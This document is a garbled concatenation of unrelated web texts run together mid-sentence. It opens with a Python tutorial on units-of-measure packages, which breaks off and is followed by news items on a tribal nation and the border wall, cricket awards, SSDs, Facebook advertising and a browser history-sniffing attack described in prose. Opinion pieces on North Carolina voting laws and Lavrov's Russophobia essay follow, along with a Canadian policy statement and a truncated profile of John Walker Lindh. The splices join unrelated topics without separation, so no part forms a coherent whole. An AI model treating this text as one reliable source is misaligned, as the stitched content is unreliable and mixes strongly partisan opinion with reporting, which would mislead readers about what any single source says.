Python doesn't support units of measure, but the three Python packages I examine here provide different ways to enable them. Each package takes a different approach. While none works as well as a native language feature would, these solutions do provide a baseline that you can improve according to your specific needs.
Package Name Latest Version Python Package Web Page Numericalunits 1.12 http://pypi.python.org/pypi/numericalunits Pint 0.2.1 http://pypi.python.org/pypi/Pint Units 0.06 http://pypi.python.org/pypi/units
Numericalunits: A Bare-Bones Solution
Numericalunits is a single Python module (numericalunits.py) that provides easy unit conversion features for your operations. You just need to follow two simple rules:
To assign a unit of measure to a value, multiply the value by the unit.
To express a value generated by its multiplication by the unit in a different unit, divide the value by that unit.
You simply need to add the following lines to import the module with an alias ( nu ) and execute the $ reset_units method to start working with the different units.
import numericalunits as nu nu.reset_units('SI')
When you call nu.reset_units('SI'), Numericalunits uses standard SI units (short for Système Internationale d'Unités in French) for storing the values (see Figure 1). This way, any length value is stored in meters, no matter the length unit you specify in the multiplication. Read here if you want more information about SI base units.
Figure 1: The SI base units and their interdependencies.
If you call the default nu.reset_units(), Numericalunits uses a random set of units instead of the standard SI units. I really don't like using a random set of units because it usually generates a loss of precision and results that lack accuracy. The only advantage of using random units is that you can check dimensional errors by running calculations twice and comparing whether the results match. You have to call nu.reset_units() before each calculation and compare the two values. I don't like this way of checking dimension errors because it adds a huge overhead and it is indeed error-prone. Thus, I suggest using Numericalunits as a unit conversion helper with the standard SI units initialization.
Numericalunits doesn't save information about the unit of measure in the numerical variable; therefore, there is no way to know which unit you used when you assigned the value. If you need more than a unit conversions helper, I suggest working with one of the other packages.
You can read the following line of code as "assign 500 ohms to r1."
r1 = 500 * nu.ohm
You can read the following line of code as "display the value of r1 expressed in kilo-ohms."
print(r1 / nu.kohm)
The following line displays the value of r1 expressed in ohms.
print(r1 / nu.ohm)
The following code uses Numericalunits to sum the values of r1 and r2. Notice that the code is self-documented because you can easily see that r1 holds a value in ohms and r2 in kilo-ohms. The r1_plus_r2 variable holds the result of the sum operation expressed in ohms and r1_plus_r2_kohms holds the result converted to kilo-ohms. Notice that you can sum the values of r1 and r2 without having to convert the units to ohms and the result will be accurate because of the way in which Numericalunits saves the values in the base units.
import numericalunits as nu nu.reset_units('SI') r1 = 500 * nu.ohm r2 = 5.2 * nu.kohm r1_plus_r2 = r1 + r2 r1_plus_r2_kohms = r1_plus_r2 / nu.kohm
The following code uses Numericalunits to sum four distance values expressed in four different units of measure: meters, miles, centimeters, and feet. Numericalunits doesn't support plurals for the units. The total_distance variable holds the total distance expressed in feet.
import numericalunits as nu nu.reset_units('SI') distance1 = 2500 * nu.m distance2 = 2 * nu.mile distance3 = 3000 * nu.cm distance4 = 3500 * nu.foot total_distance = (distance1 + distance2 + distance3 + distance4) / nu.foot
Pint: A Complete Package
Pint is a Python package that allows you to work with numerical values associated to units of measure. Because Pint saves the magnitude and the associated units for any numerical type, you are able to know which unit you used when you assigned the magnitude value. You can perform arithmetic operations between compatible units and convert from and to different units. When you try to perform arithmetic operations on magnitudes that have incompatible units of measure, Pint raises a Pint.unit.DimensionalityError exception indicating that it cannot convert from one unit to the other before performing the arithmetic operation.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Sep. 16, 2017, 10:53 AM GMT / Updated Sep. 16, 2017, 10:53 AM GMT By Dawchelle Hamilton
Tohono O’odham Nation Chairman Edward Manuel is determined to prevent President Trump's proposed border wall from carving a path through his tribe's lands — a move which he said would separate members from much needed resources and disrupt the community’s way of life.
The nation, which is about the size of Connecticut, is a federally recognized tribe that has land and members on both sides of the U.S.-Mexican border.
“Walls are made to keep animals in or out, walls cannot contain people,” Manuel said. “People are too intelligent. They can always find a way to get over the wall, under the wall or through the wall.”
The Tohono O’odham Nation is just one of many groups that have expressed concerns about the potential path of the president's proposed $1.6 billion border wall. The National Congress of American Indians is also calling on the U.S. government to work with tribes on the border to address their concerns about the impact on communities.
Much of the nearly 2,000 mile border is owned by private citizens. The government may gain rights to the land via “eminent domain laws.” These laws would allow the land to be bought out from under the owners, some of whom have already begun receiving notices.
Tohono O'odham Nation Chairman Edward Manuel, right, and Vice Chairman Verlon Jose walk along the U.S.-Mexico border. Megan Siquieros
The Tohono O’odham Nation’s unique relationship with the border is a direct result of the Gadsdsen Purchase in 1854 in which the U.S. purchased land from Mexico. The sale rearranged borders, and “dissected our aboriginal lands,” according to a video from the tribe.
The Mexican side of the border is home to a Tohono O’odham Nation burial ground and the site of many cultural and religious traditions, tribe members said. It also houses resources for members like Jacob Serapo, whose water supply is just a few yards out on the Mexican side of the border.
In a video posted by the tribe, Serapo explained how he now has to travel four miles to access an alternative water source on the U.S. side to accommodate new border security features.
A physical wall would also block the flow of water during monsoon season and potentially threaten agriculture, tribe members said.
“These are our homelands and we want to protect it...We believe that what is effective is continued cooperation and working together,” Manuel said.
U.S. Customs and Border Protection, which has two law enforcement centers on the tribe's land, told NBC News in a statement that the working relationship with community leadership has proved effective in the past.
The “U.S. Border Patrol’s Tucson Sector, in addition to Intergovernmental Public Liaison Office, frequently communicates with the Tohono O'odham Nation to discuss issues and concerns and to maintain cooperation links that have existed for many years,” said Carlos Diaz, an agency spokesperson.
Border Patrol and the tribe have worked together to seize “over an average of 313,000 lbs of illegal drugs per year,” according to the community’s video. There has also been an 84 percent decrease in migrants arrested on tribal land dropping from 85,000 in 2003 to 14,000 in 2016, according to figures from the Tohono O'odham Department of Public Safety.
The land is also home to a tribal led high intensity drug trafficking area unit known as "NATIVE", the Native American Targeted Investigations of Violent Enterprises. The initiative is a partnership with the Immigration and Customs Enforcement, the FBI and Border Patrol.
Currently, the nation is working with Border Patrol to add 15 surveillance and sensor towers for added security, tribal officials said.
The Tohono O'odham Nation's reservation includes 62 miles of border between Arizona and Mexico. Megan Siquieros
The Tohono O’odham Nation spends approximately $3 million dollars annually on border security and enforcement, tribal officials said.
And it's because of this cooperation with the U.S. government that Manuel said he felt caught off guard by the border wall proposal.
“We were never consulted and having 62 miles of international boundary we were never notified,” he said, adding that he found out about the wall from news reports back in January when the president signed off on it.
A letter sent earlier this summer from Border Patrol informed tribe members that “neither the FY17 nor FY18 budget has wall funding that would affect the Nation.”
However, Manuel worries plans could change in a way that could have a “major impact on members and resources, plus our sacred sites and ceremonies.”
Despite Trump's call for the “immediate construction of a border wall," his plans have been delayed due to lack of funding and landownership issues.
On Thursday Trump tweeted, “The WALL, which is already under construction in the form of new renovation of old and existing fences and walls, will continue to be built.” At a recent rally in Arizona he said, “If we have to close down our government, we’re building that wall.”
The rally was held just a one hour drive away from the Tohono O’odham Nation.
As for the wall, Serapo said in the video, “There’s no O’odham word for wall.”Media playback is not supported on this device Root & Edwards win ECB awards
Batsman Joe Root has credited sacked coach Peter Moores with the form that resulted in him being named England's player of the year.
Root, a winner alongside women's captain Charlotte Edwards, averaged almost 95 in Test cricket under Moores, who was dismissed on 9 May.
"A lot of credit for that has to go to Peter Moores," said the 24-year-old.
"Over the past year, he has definitely got the best out of me - along with the rest of the coaching department."
Root was left out of the England team for the final Test of the Ashes whitewash in January 2014, but was recalled after Moores was appointed coach for the second time a year ago.
The Yorkshire right-hander has since amassed 1,135 Test runs.
Joe Root's Test batting figures Matches: 25 Runs: 2,090 runs Average: 55 Highest score: 200
"When I came back from Australia, I realised a lot of the time out there I was trying to work on things I wasn't too good at - and putting all my energy into that, rather than spending more time strengthening the stuff I am good at," added Root
"Peter saw that - and I simplified things as well."
Root, named player of the year for the men's side after a vote of cricket media, was last week appointed Test vice-captain by new director of cricket Andrew Strauss.
"I was delighted, so I accepted straight away," said Root. "I don't think things will change much - just a bit more responsibility on my part.
"If Alastair Cook wants to come up to me for ideas, I will make sure I have something to help him out."
As well as being named as the women's player of the year, Edwards was presented with a silver cap to mark her 200th game as England captain against New Zealand in February.
In addition to leading England to four series wins, Edwards averaged more than 75 in one-day internationals and almost 60 in Twenty20s.Though solid state drives have, so far, mostly stuck to the SATA 3.0 Gbps connection, which already lets them run at speeds of almost 300 MB/s, PhotoFast is apparently intent on moving the stakes higher with its G-Monster3 XV1 SATA 6.0 Gbps models.
Solid state drives have grown in popularity so quickly because of their high data transfer rates, reliability and compactness, though their prices are still not mainstream-friendly.
Nevertheless, so far, they have been mostly faithful to the SATA 3.0 Gbps connection, since the available controllers weren't actually able to truly exploit what SATA 6.0 Gbps can do.
Now, however, it seems that makers of NAND storage are seriously considering raising the stakes one step higher.
Apparently, PhotoFast is already working on one such device, the so-called G-Monster3 XV1 series, composed of, so far, three units.
The series includes models with capacities of 64 GB, 128 GB and 256 GB, all of which employ 128 MB of DDR3 memory as cache.
This cache, coupled with the SSD controller used, are expected to push read and write speeds well beyond what existing solutions allow.
To be more specific, the 64 GB model has read and write speeds of 370 MB/s and 120 MB/s respectively, while the 128 GB one goes all the way to 410 MB/s and 190 MB/s.
Finally, the 256 GB G-Monster3 XV1 is, as one would expect, the fastest, at 430 MB/s when reading and a full 300 MB/s when writing.
As for the actual chip set to be used, there is no mention of exactly what controller will be chosen, the possible options being Thunderbolt, Indilinx, Jet Stream or one from JMicron.
Unfortunately, no sort of information was given on the prices of these solid state drives that use the 2.5-inch form factor, not on the exact date when they will show up in stores.Facebook gathered hundreds of people into the Museum of Natural History in New York on Wednesday for its first-ever Facebook Marketing Conference. At the top of the agenda was Premium, a new suite of products for marketers designed to leverage the social network's access to your friends and friends of friends.
As a user, you're not likely to notice any huge differences, except maybe for the new Timeline Brand Pages, a related announcement. But there are some subtle changes that Facebook believes enable marketers to evolve their relationship with consumers beyond advertising and into "stories." The following is a rundown of everything Facebook announced, in Q&A format.
What new ad products did Facebook announce?
Officially, there were five:
Ads that appear in News Feeds
Ads that run on the right-hand side of your homepage
Ads within the News Feed on your mobile device
Ads that appear when you log out
Offers
But, unofficially, only the log-out ads and Offers are really new. The News Feed ads had been out since early January, the right-hand page ads have run since last year and the mobile ads had been reported on accurately by Bloomberg. Offers, which is actually free to advertiser, lets brands share discounts and promotions to their fans within Facebook.
Wait a minute. I've been seeing those right-hand ads forever. What's new about them?
Most of the ads you've been seeing in the right-hand section of the homepage are what Facebook calls "Marketplace" ads, which are usually direct-response. The Premium ads in that space will originate from a brand Page and won't be your typical ad. Often they'll consist of a status update or a new video upload rather than a standard banner.
So I won't see the ad unless I "like" the brand or my friend does?
Not necessarily. You're more likely to see one of the ads if that's the case, but you might see one even if you or your friends aren't fans of any brand Pages.
Is that also true of the News Feed ads?
No, you'd only see one of those if you or your friend interacted with a brand Page. But if you didn't follow any brands, but a Facebook friend did, you might see it in your News Feed if your friend "liked" it.
So advertisers are paying for those News Feed ads?
Not always. Sometimes they will run in the News Feed organically, just like any other status update. At other times, they will be paid for, but you'll still only see the ad if you or your friend interacted with the brand.
Will I still see those Marketplace ads?
Yes.
How are advertisers paying for the Premium ads?
Not by the click-through. While that's still the model for Marketplace ads, Premium ads are based on impressions and reach, sort of like TV ads. In fact, Facebook partnered with Nielsen last year to bring "gross rating points" to Facebook that de-emphasize click-throughs.
Why?
Click-through rates for Facebook ads are pretty low. Facebook has also argued that CTRs are a poor and even irrelevant measure of an ad's performance. You can't click through a TV ad, for instance, but it still might persuade you to buy something.
Without CTRs, how do advertisers know their ads worked?
Facebook is using mixed-media modeling (a.k.a. "marketing mix modeling") with some clients, like Procter & Gamble, to demonstrate an ad campaign's efficacy. The company is working with advertisers on other ways to show a Facebook campaign moved the needle on sales or awareness — whatever the goal might be.
What is Reach Generator?
Reach Generator is a new tool designed to let brands reach all their fans. The average post by a brand (or a person) only reaches 16% of such fans for various reasons, like the number of times you log on and the number of people and brands in your network. Reach Generator lets advertisers reach the other 86% by rerunning status updates as ads aimed at those fans.
Why is Facebook putting so much emphasis on brand Pages?
The company believes brands should be indistinguishable from your Facebook friends. That is, if they post something interesting, it should get pickup in your feed, but if they post something boring, it should not. By offering greater engagement and reach for brands with well-run Facebook brand Pages, Facebook hopes to make it the cornerstone of any marketer's outreach and ensure that brands offer engaging content. In other words, a rising tide lifts all boats.
What could derail this from happening?
Lots of things. Users might get sick of seeing so much content from brands and decide to withdraw their Like. Google+ or Twitter might prove to be a better destination for brands. That status update-based ads might prove ineffective in the long run. Advertisers might decide that click-throughs actually were a good measure of ad performance. Ultimately, consumers will have the final say.
Image courtesy of iStockphoto, ymgermanChrome, Internet Explorer, and Firefox are vulnerable to easy-to-execute techniques that allow unscrupulous websites to construct detailed histories of sites visitors have previously viewed, an attack that revives a long-standing privacy threat many people thought was fixed.
Until a few years ago, history-sniffing attacks were accepted as an unavoidable consequence of Web surfing, no matter what browser someone used. By abusing a combination of features in JavaScript and cascading style sheets, websites could probe a visitor's browser to check if it had visited one or more sites. In 2010, researchers at the University of California at San Diego caught YouPorn.com and 45 other sites using the technique to determine if visitors viewed other pornographic sites. Two years later, a widely used advertising network settled federal charges that it illegally exploited the weakness to infer if visitors were pregnant.
Until about four years ago, there was little users could do other than delete browsing histories from their computers or use features such as incognito or in-private browsing available in Google Chrome and Microsoft Internet Explorer respectively. The privacy intrusion was believed to be gradually foreclosed thanks to changes made in each browser. To solve the problem, browser developers restricted the styles that could be applied to visited links and tightened the ways JavaScript could interact with them. That allowed visited links to show up in purple and unvisited links to appear in blue without that information being detectable to websites.
Now, a graduate student at Hasselt University in Belgium said he has confirmed that Chrome, IE, and Firefox users are once again susceptible to browsing-history sniffing. Borrowing from a browser-timing attack disclosed last year by fellow researcher Paul Stone, student Aäron Thijs was able to develop code that forced all three browsers to divulge browsing history contents. He said other browsers, including Safari and Opera, may also be vulnerable, although he has not tested them.
"The attack could be used to check if the victim visited certain websites," Thijs wrote in an e-mail to Ars. "In my example attack vectors I only check 'https://www.facebook.com'; however, it could be modified to check large sets of websites. If the script is embedded into a website that any browser user visits, it can run silently in the background and a connection could be set up to report the results back to the attacker."
The sniffing of his experimental attack code was relatively modest, checking only the one site when the targeted computer wasn't under heavy load. By contrast, more established exploits from a few years ago were capable of checking, depending on the browser, about 20 URLs per second. Thijs said it's possible that his attack might work less effectively if the targeted computer was under heavy load. Then again, he said it might be possible to make his attack more efficient by improving his URL-checking algorithm.
I know what sites you viewed last summer
The browser timing attack technique Thijs borrowed from fellow researcher Stone abuses a programming interface known as requestAnimationFrame, which is designed to make animations smoother. It can be used to time the browser's rendering, which is the time it takes for the browser to display a given webpage. By measuring variations in the time it takes links to be displayed, attackers can infer if a particular website has been visited. In addition to browsing history, earlier attacks that exploited the JavaScript feature were able to sniff out telephone numbers and other details designated as private in a Google Plus profile. Those vulnerabilities have been fixed in Chrome and Firefox, the two browsers that were susceptible to the attack, Thijs said. Stone unveiled the attack at last year's Black Hat security conference in Las Vegas.
Thijs told Ars that Mozilla has already acknowledged plans to actively work on a fix. A Microsoft forum where Thijs reported his IE findings over the weekend has since been made private, but at the time of writing, it was still publicly available in this Google cache. Thijs said the issue is also under discussion by Chrome developers.
The resurrection of viable sniffing history attacks underscores a key dynamic in security. When defenders close a hole, attackers will often find creative ways to reopen it. For the time being, users should assume that any website they visit is able to obtain at least a partial snapshot of other sites indexed in their browser history. As mentioned earlier, privacy-conscious people should regularly flush their history or use private browsing options to conceal visits to sensitive sites.While commodities was the place to be in 2010, there were some extremely strong pockets in the equity markets as there are almost every year. Below I’ve compiled a list of ‘liquid’ non micro cap stocks that returned at least 100% in 2010, with 2 hours to go. There were 112 opportunities to make mad money; of course some were buyouts….if anyone has 2011’s list in advance, I’d appreciate an email…
Criteria
Market cap of at least $300M Return of 100%+ Average daily volume of 200K+ Stock price over $10
I’ve highlighted names, we’ve either owned (blue) or discussed (purple) during the year. Some of these are amongst my favorite fundamental stories, hence I believe 2011 is going to be much tougher to find huge winners as they’ve had tremendous runs. Indeed as I expressed a month ago, 2010 might have been my best year ever in terms of the market moving up the names I focus on and championed – APKT, RVBD, FFIV, LVS, CMI, BWA, MGA, et al.A voter gets directions on how to use the electronic voting booth at an early voting site on Oct. 18, 2012 in Wilson, N.C. Photo by Sara D. Davis/Getty Images
North Carolina is proving itself to be the poster child for all that is wrong with modern American democracy and—with thanks to Moral Mondays—also highlighting all that may someday save it.
Once a temperate and tolerant beacon of the South, the state is poised to enact a rash of inexpressibly awful legislation, rushed through a Republican legislature. Because the GOP has veto-proof super-majorities in the state House and Senate and a Republican governor—for the first time since Reconstruction—the party has been on a spree. Republican-controlled redistricting was fantastically effective. So much so that in the 2012 elections, nearly 51 percent of North Carolina voters picked a Democrat for the U.S. House, yet Republicans won nine of the state’s 13 House seats, as Chris Kromm and Sue Sturgis recently pointed out.
Some of the gems advanced recently in the legislature include an abortion bill tacked first onto an anti-Sharia law and then snuck in through a motorcycle safety law (new TRAP regulations may shutter all but one clinic in the state). Another bill forces all educators to teach seventh graders that abortion causes preterm birth (it doesn’t). Lawmakers also enacted legislation (described here and elsewhere as “the harshest unemployment insurance program cuts in our nation’s history”) that resulted in 70,000 North Carolina citizens losing their unemployment benefits. The state is one of the 15 to have refused Medicaid expansion under Obamacare. A proposed education bill would slash teacher compensation, (already ranked among the lowest in the nation), eliminate tenure, and use vouchers to reallocate $90 million of public-school funding to private schools (The school superintendent issued a statement this week saying that in light of the proposed deep cuts to the education budget “For the first time in my career of more than 30 years in public education, I am truly worried about students in our care.”) Don’t forget the embarrassing proposed resolution allowing counties and cities to enshrine a state religion. Or the proposed ban on nipples.
But none of this is a joke. For reasons that Kromm and Sturgis lay out at length, it’s a well-funded, Koch-endorsed Christmas rush to get everything done right now.
How does the state legislature control an electorate that by all accounts really hates the state’s new legislative initiatives? Simple. Drown them out—by diluting minority/Democratic votes through redistricting, or suppressing the vote.
Under Section 5 of the Voting Rights Act, 40 counties in North Carolina had to go to the federal government for pre-approval of any change to local election law. When the Supreme Court locked up Section 5 last month, by a vote of 5–4, it gave a great gift to the disenfranchisement community. States no longer need to check their crazy with federal courts or the Justice Department. The obligation to prove that you aren’t harming minority voters (or expressly targeting them) has gone. Texas and Mississippi charged ahead with their own controversial voter ID laws within hours of the Supreme Court ruling. Alabama and Mississippi have either passed or are working on similar ones. And Tuesday, North Carolina took the first step to expanding its Voter ID bill to better disenfranchise a few more voters who might have leaned left, including students, African-Americans, and women.
Indeed, North Carolina has just put in place a vote suppression regime that can only really be described as political performance art. Here is the proposed new elections omnibus bill. It drastically reduces early voting, does away with same-day voter registration, weakens the disclosure of so-called independent expenditures, disenfranchises felons and the “mentally incompetent,” authorizes vigilante poll observers, and penalizes families of college students who vote out of state.
The voter ID component of the bill is probably the most draconian in the nation. It cuts to seven the forms of permissible identification. If it passes, no county or municipal government or public employee IDs will be valid proof of voter identification. Nor will any photo ID issued by a public assistance agency, or any student ID from any college. The new voter ID rules will hit African-American voters, women, and Democrats hardest. The indispensable Ari Berman sums up the aggregate effect as follows: “According to the state’s own numbers, 316,000 registered voters don’t have state-issued ID; 34 percent are African-American and 55 percent are registered Democrats. Of the 138,000 voters without ID who cast a ballot in the 2012 election, 36 percent were African-American and 59 registered percent Democrats.” And the scourge of voter fraud in North Carolina, at which the proposed law is directed? Between 2000 and 2010 there have been two cases of alleged voter impersonation. In that period three people also ate pop rocks and died.
While the General Assembly allocated $1 million in the budget to implement the new voting regime, estimates of the actual cost range from $3 million to $20 million. It is the voters themselves who will soon be paying for the privilege of being denied the vote.
This brings us to the rather amazing book review in the New York Review of Books this weekend, by retired Justice John Paul Stevens, of Professor Gary May’s superb new book, Bending Toward Justice: The Voting Rights Act and the Transformation of American Democracy. May scrutinizes the forces that led to the original passage of the Voting Rights Act in 1965, with an emphasis on the brute violence and racial ugliness that accompanied efforts to vote, organize, and protest.
Stevens aligns himself with Justice Ruth Bader Ginsburg’s dissenting opinion in the Supreme Court’s June decision that hamstrung Section 5, and expressly takes on Chief Justice John Roberts’ constitutional claim that the “fundamental principle of equal sovereignty among the states” controlled the case. Stevens also lambastes the majority for usurping the role of Congress, writing that while some neutral decision-maker could surely find that the preclearance formula is now dated: “The opinion fails, however, to explain why such a decision should be made by the members of the Supreme Court.”
May’s book offer a grim reminder of how truly awful things were for Southern Blacks before the VRA was enacted, and how hard Southern whites worked to suppress their votes, long after they were legally granted the franchise. He details the beatings, deaths, police-led violence and brutality that culminated in the events of “Bloody Sunday” in March of 1965. As May concludes, “History reveals that improved conditions come less from a revolution in white attitudes toward African-Americans than from the act’s effectiveness in altering electoral conditions that had prevented blacks from winning elections.” Stevens’ object in his review is not just to call out the majority for its institutional overreach—although he does that with gusto—but to try to shake his colleagues out of their willful ignorance of how egregious state efforts at vote suppression have been and continue to be, and how extensive the record of brazen misconduct remains.
The underlying paradox of the Supreme Court’s June ruling is that it was deployment of the Voting Rights Act that stopped efforts to suppress votes and limit voting in Texas, North Carolina, and Florida in the 2012 elections. The law was a victim of its own success, not just in the distant past, but only months earlier. In her dissent, Justice Ginsburg wrote that “the sad irony of today’s decision lies in its utter failure to grasp why the VRA has proven effective.” She famously added that throwing out the law’s key protection for minority voters “is like throwing away your umbrella in a rainstorm because you are not getting wet.”
Less than a month later, it’s raining vote suppression in North Carolina. And the forecast calls for a whole lot more of the same.Sergey Lavrov just delivered a devastating critique of Russophobia
Sergey Lavrov has been freed. In delivering a blistering defense of Russia’s role in European history and his nation’s ability to shape the post-Cold War global order, the Russian foreign minister just hit back at the West’s ingrained Russophobia that has historically prevented Washington and Europe from viewing Russia as an equal player on the world stage.
“There are also those, both in Russia and outside of it, who believe that Russia is doomed to drag behind, trying to catch up with the West and forced to bend to other players’ rules, and hence will be unable to claim its rightful place in international affairs.”
Not so fast. In an article for Russia in Global Affairs magazine (English-language version here), Lavrov points to over 1,000 years in which Russia has played a pivotal role in European and global history, including the formation of Kievan Rus, the invasion of the Mongol Horde, the Napoleonic invasion of Russia and Russia’s epic roles in World War I and World War II.
In short, says Lavrov, “History doesn’t confirm the widespread belief that Russia has always camped in Europe’s backyard and has been Europe’s political outsider.”
So if Russia has always played such an important role in shaping the future of Western civilization, why has the West consistently treated as Russia as an inferior, backwards upstart?
Blame Russophobia.
Starting nearly 500 years ago, ever since Russia claimed the mantle as the rightful successor to the Byzantine Empire in 1453, the West has been afraid of what Russian greatness might mean. Lavrov writes: “The European countries had apprehensions about the nascent giant in the East and tried to isolate it whenever possible and prevent it from taking part in Europe’s most important affairs.”
Lavrov is not alone here. Prominent historian Walter Laqueur, in his 2015 book “Putinism: Russia and Its Future In the West,” also suggests that Russophobia — “the fear of Russia and all things Russian” — has been an important historical factor in Russia’s development. For the West, Russophobia meant an irrational fear of any new surge in Russian power or ambition. For Russia, it became a way to rationalize the nation’s besieged fortress mentality, leading to a form of reverse Russophobia that he calls “Zapadophobia” (fear of the West). You’d be paranoid, too, if you thought dark forces had continually worked to circumvent, discredit or contain you throughout history.
Throughout his book, Laqueur works through a number of well-known historical examples of Russophobia, settling on the year 1839 when early symptoms morphed into a full-fledged disease:
“The tradition of seeing in Russia a barbarous (or at least semibarbarous) country despite what Peter the Great tried to do goes back to the early 19th century and the publication of the so-called Testament of Peter the Great — which was a forgery by a Polish writer in France. The classic work in this field as the Marquis de Custine’s Russia in 1839… […] Custine became the author of the famous phrase about Russia being an absolute monarchy, a system mitigated only by assassination. He was particularly annoyed by the constant and all-pervasive government spying. The Russian people (he wrote) had been turned into a nation of mutes and automatons… its mentality was one of slaves.”
And that’s what Lavrov has picked up on in his article for Russia in Global Affairs — that this irrational Russophobia of the Western elites has regained momentum as a defining media narrative in Western capitals. And, with the power and reach of the Internet, this media narrative can have an immediate, far-reaching and devastating impact on Russia’s future relations with the West:
“Next year Russia will mark the 100th anniversary of the Russian Revolution. Today there is the need to develop a balanced and objective assessment of those events, especially in an environment where, particularly in the West, many are willing to use this date to mount even more information attacks on Russia, and to portray the 1917 Revolution as a barbaric coup that dragged down all of European history. Even worse, they want to equate the Soviet regime to Nazism, and partially blame it for starting World War II.“
Lavrov’s essential fear is that Russophobia will lead to a new containment strategy updated for the post-Cold War era, one that sees Russia as a reconstituted Soviet Union, once again bent on global domination. He quotes George Kennan, the architect of the West’s original containment policy, who recently called NATO expansion to Russia’s borders “a tragic mistake.” Lavrov is also quick to point out that the Cold War did not end in victory or defeat — it was the choice of the Russian people:
“There is no substance behind the popular belief that the Soviet Union’s dissolution signified Western victory in the Cold War. It was the result of our people’s will for change plus an unlucky chain of events.”
Lavrov’s solution to the current global standoff of how to |
in developing a strong campaign of counter-extremist messaging, exposing the brutality of ISIS, and the utter lack of any religious basis for its atrocities. ISIS is not Islam.
Many of our allies have recognized the need for a comprehensive approach to countering and discouraging radicalization at the community level: the United States, France, and Germany to name a few. Municipalities are even acting. Montreal now has an effective model. Here at home we have also seen families of young people who have been radicalized and left to fight in Syria pleading for this kind of help from government.
In addition to Bill C-51’s attack on our rights and freedoms, it utterly failed to respond to the need for a Canadian de-radicalization strategy. The Liberals made the unforgivable error of supporting Bill C-51 at the time, but they must not compound that mistake by failing to address radicalization now.
Third, Canada must also step up our role in the fight against terrorist financing. In Turkey last November, the prime minister signed a joint G20 statement committing Canada to tackling “the financing channels of terrorism.” Yet the fact remains that between 2001 and 2015, Canada has had only one single successful conviction for terrorist financing.
Finally, and most importantly, we must continue to do more to increase humanitarian support for millions of civilians who are now victims in this conflict. From the beginning, New Democrats have urged the government to boost aid in the broader region where there would be an immediate life-saving impact. Our NATO ally, Turkey, has repeatedly asked Canada to do more to help the millions of refugees flooding its borders. We should also be assisting in areas of Canadian expertise, like combatting sexual violence, protecting minorities, re-integration, and helping to investigate and prosecute war crimes.Five weeks ago, John Walker Lindh, better known as the American Taliban, was quietly transferred to a medium-security prison northeast of Los Angeles, in the Mojave Desert. He was relieved by the move, which took place after federal officials in Alexandria, Virginia, had debriefed him for a year about his knowledge of Muslim extremists. His temporary cell in Virginia had reminded Lindh of a dog kennel; his meals were delivered through a metal slot in the door, and he had no interaction with other inmates. At the new prison, Lindh has a roommate and a window. On occasion, he can mingle with the general prison population, which includes about twenty other Muslims, most of them American-born converts like himself. His main diversions are translating ancient Arabic religious texts and reading. His lawyers recently bought him a subscription to the New York Times, and now that he’s back in California, where he was raised, he has asked to receive the Los Angeles Times. Lindh has also met his goal of reading a hundred books during his first year in prison. His favorites have included Dostoyevsky’s “The Brothers Karamazov,” Viktor Frankl’s “Man’s Search for Meaning,” and the Harry Potter novels, whose publication passed him by while he was cloistered in the Islamic madrasahs of Pakistan and camped alongside Taliban soldiers in Afghanistan. Lindh, who is now twenty-two years old, pleaded guilty last summer to having aided the Taliban regime. He is due to spend the next twenty years in prison. Ordinarily, a first-time offender convicted of a single, nonviolent felony would be spared such a long sentence. Lindh, however, is the first American to have been successfully prosecuted as part of the Bush Administration’s war on terrorism. Lindh was accused not only of embracing the beliefs of people who hated his own country but also of taking up arms with them and being connected to the death of a young C.I.A. officer, Johnny Micheal Spann. From the moment Lindh was captured, in December of 2001, he was widely condemned as a murderous traitor. The Justice Department, in particular, promoted this view. Before Lindh was indicted, Attorney General John Ashcroft held a press conference in which he revealed that the department planned to charge Lindh with “conspiracy to kill nationals of the United States” and with “providing material support” to Al Qaeda. Ashcroft declared that Lindh’s “allegiance to those fanatics and terrorists never faltered, not even with the knowledge that they had murdered thousands of his countrymen.” When Ashcroft announced the indictment, which included ten counts, he described Lindh as “an Al Qaeda-trained terrorist.” Lindh faced the possibility of three life sentences plus an additional ninety years in prison. This past summer, however, the government abruptly dropped nine of the original charges. The case was settled in a weekend-long flurry of negotiations that ended at 2 a.m. on the day that key evidence against Lindh was to be challenged in open court. As part of the plea agreement, Lindh accepted guilt on a charge that was not directly related to terrorism: violation of a 1999 executive order forbidding American citizens from contributing “services” to the Taliban. Ashcroft’s high-profile prosecution effort mysteriously imploded. The Attorney General was not entirely convincing when he declared that Lindh’s plea agreement was “an important victory in the war on terrorism.”
Today, the government continues to regard Lindh as an enemy of the state who poses a serious danger to national security. Lindh is therefore covered by Special Administrative Measures, which prohibit him from speaking to the media. Bryan Sierra, a Justice Department spokesman, declined “to discuss the legal basis” for this decision, but noted that “such measures are intended to monitor activity in the most dangerous cases, to prevent them from plotting violent acts.” With this gag order in effect, and with many documents in the case still classified, much remains unknown about why the prosecution collapsed. Fragments of this story, however, have lately begun to emerge. Lindh’s own words have surfaced in the form of notes taken during lengthy conversations with him by people involved in preparing his defense. In addition, a former Justice Department lawyer who is troubled by the government’s handling of the case has decided to speak out. Rohan Gunaratna, a respected terrorism scholar from Sri Lanka, interviewed Lindh for more than eight hours last summer in Alexandria. Gunaratna, who is affiliated with the University of St. Andrews, in Scotland, is the author of six books, including the recent “Inside Al Qaeda.” A short, compactly built man with a friendly, wide face, Gunaratna met with me recently in Manhattan. He said that he had been wary when Lindh’s defense lawyers first approached him about serving as an expert witness. He warned them that he believed that Lindh was almost certainly a member of Al Qaeda. The defense, undeterred, pressed him to meet the young suspect, and Gunaratna eventually agreed. The encounter surprised him. “I have interviewed maybe two hundred terrorists over the past few years,” he told me, “and I am certain that John Walker Lindh has never been a terrorist, and never intended to be one.” Peering over his round spectacles for emphasis, he said, “A terrorist is a person who conducts attacks against civilian targets. John Walker Lindh never did that. He trained to fight in the Afghan Army, against other soldiers. He was not a member of Al Qaeda. He didn’t know much about Al Qaeda, and he was no exception. Dozens of others whom I’ve met who went to train and fight in Afghanistan also were not part of Al Qaeda.” He laughed. “It’s a secret organization.” Gunaratna believes that Lindh “presents no national-security threat. He’s been completely misrepresented to the American people.” Gunaratna’s talks with Lindh started with standard gambits to create trust and rapport. They discussed Lindh’s health and his treatment in prison. Soon, however, Gunaratna moved on to a close examination of what Lindh was thinking when his life first tilted toward radicalism, in the fall of 2000. Lindh, who converted to Islam during high school, skipped college in favor of studying Arabic in Yemen. With his parents’ approval, he abandoned this instruction in favor of a fundamentalist education at a madrasah in Bannu, Pakistan. He spent his days memorizing the Koran. By the spring of 2001, Lindh told Gunaratna, he had become convinced that a proper Muslim needed to do more than read and pray. “I believed it was the part of every good Muslim to train” for military 